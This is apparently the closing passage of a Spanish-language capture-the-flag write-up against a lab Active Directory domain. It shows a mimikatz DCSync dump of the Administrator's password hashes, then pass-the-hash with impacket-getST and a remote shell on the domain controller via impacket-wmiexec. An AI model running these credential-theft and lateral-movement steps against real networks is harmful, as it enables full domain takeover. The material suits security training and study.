PS C:\ProgramData> .\mimikatz.exe 'lsadump::dcsync /domain:scrm.local /user:Administrator' exit
.#####. mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz(commandline) # lsadump::dcsync /domain:scrm.local /user:Administrator
[DC] 'scrm.local' will be the domain
[DC] 'DC1.scrm.local' will be the DC server
[DC] 'Administrator' will be the user account
Object RDN : Administrator
** SAM ACCOUNT **
SAM Username : administrator
User Principal Name : administrator@scrm.local
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00110200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD NOT_DELEGATED )
Account expiration :
Password last change : 08/11/2021 01:35:59
Object Security ID : S-1-5-21-2743207045-1827831105-2542523200-500
Object Relative ID : 500
Credentials:
Hash NTLM: e2bba07a8348bca150ac6ffee6a3afbb
ntlm- 0: e2bba07a8348bca150ac6ffee6a3afbb
ntlm- 1: 62739c0397a691744ac9a84ae537e6fe
lm - 0: a2a7473ec82a01b122044855a5877793
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : 26b52cc4b9ce2de237d47360626de0e8
* Primary:Kerberos-Newer-Keys *
Default Salt : SCRM.LOCALadministrator
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 36e4dac77fe883a268dae5959a54128023e108aa07b89b8b73519422316e50a8
aes128_hmac (4096) : 1eb10b3e4697f7d382b705a2b68712c3
des_cbc_md5 (4096) : 5dc7897ccd51378a
OldCredentials
aes256_hmac (4096) : 3df7e04eec2c97f6cda6cc9fc51bee443f5f0dfeb13fece15d0f8a8676ddd2bb
aes128_hmac (4096) : 7c4626b5e7c710b5ac3c9169f6520513
des_cbc_md5 (4096) : 5d830d01d91fe325
* Primary:Kerberos *
Default Salt : SCRM.LOCALadministrator
Credentials
des_cbc_md5 : 5dc7897ccd51378a
OldCredentials
des_cbc_md5 : 5d830d01d91fe325
* Packages *
NTLM-Strong-NTOWF
* Primary:WDigest *
01 5fb3e8ea8ae045dafd90a60d67ebeeaf
02 f4768cf35890e2d59e23fac7593ef084
03 e59facc069ebc457a05feca47f98eb0b
04 5fb3e8ea8ae045dafd90a60d67ebeeaf
05 f4768cf35890e2d59e23fac7593ef084
06 b535495b020bfcb9950bd5616d34cfe5
07 5fb3e8ea8ae045dafd90a60d67ebeeaf
08 a6efbd3a90af39653b37619a6eb16852
09 a6efbd3a90af39653b37619a6eb16852
10 829b62e6e32fa4e321b6ebe46748cb8d
11 1f60d009a37571cd6d6ac2b071b52e02
12 a6efbd3a90af39653b37619a6eb16852
13 ce72f4e36a9ead63ed7a7a16309e2987
14 1f60d009a37571cd6d6ac2b071b52e02
15 9656d4e6bdaab449878da6023cddf593
16 9656d4e6bdaab449878da6023cddf593
17 534642e76ba4df972a9530abe7cdc360
18 e0b7df683a3c6ac0e910060d793b19d2
19 3e69fc3d8ee2465df2a06c25a5524ebd
20 ada2203946d1d6cbfe0482b70d448660
21 3b641ff45450f40ab16a2582079cc3de
22 3b641ff45450f40ab16a2582079cc3de
23 918e4affba8a45ab0a60d9a385e834ad
24 7d6325dbeb7ff7d17b070e1170a381d4
25 7d6325dbeb7ff7d17b070e1170a381d4
26 33a605a4246ba556a187b24cfc20bd1f
27 42735b5148aea44d4ac6f47b3f3677eb
28 0a238d2030221455a341d549eb227c4a
29 9e8ca432a4ec8eca5223f3aa0a43d58c
mimikatz(commandline) # exit
Bye!
PS C:\ProgramData>
Autenticandonos con ese hash
NT podemos solicitar un ticket con getST
para el usuario Administrador
, despues lo exportamos a la variable KRB5CCNAME
❯ impacket-getST -spn cifs/dc1.scrm.local scrm.local/Administrator@dc1.scrm.local -hashes :e2bba07a8348bca150ac6ffee6a3afbb -dc-ip dc1.scrm.local
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Getting TGT for user
[*] Getting ST for user
[*] Saving ticket in Administrator@dc1.scrm.local.ccache
❯ export KRB5CCNAME=Administrator@dc1.scrm.local.ccache
Utilizando el ticket
ccache para autenticarnos por kerberos
podemos obbtener una shell en el DC
omo Administrator
con psexec
o wmiexec
, leemos la flag
❯ impacket-wmiexec scrm.local/Administrator@dc1.scrm.local -k -no-pass -shell-type powershell
Impacket v0.11.0 - Copyright 2023 Fortra
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
PS C:\> whoami
scrm\administrator
PS C:\> type C:\Users\Administrator\Desktop\root.txt
e69**************************e5e
PS C:\>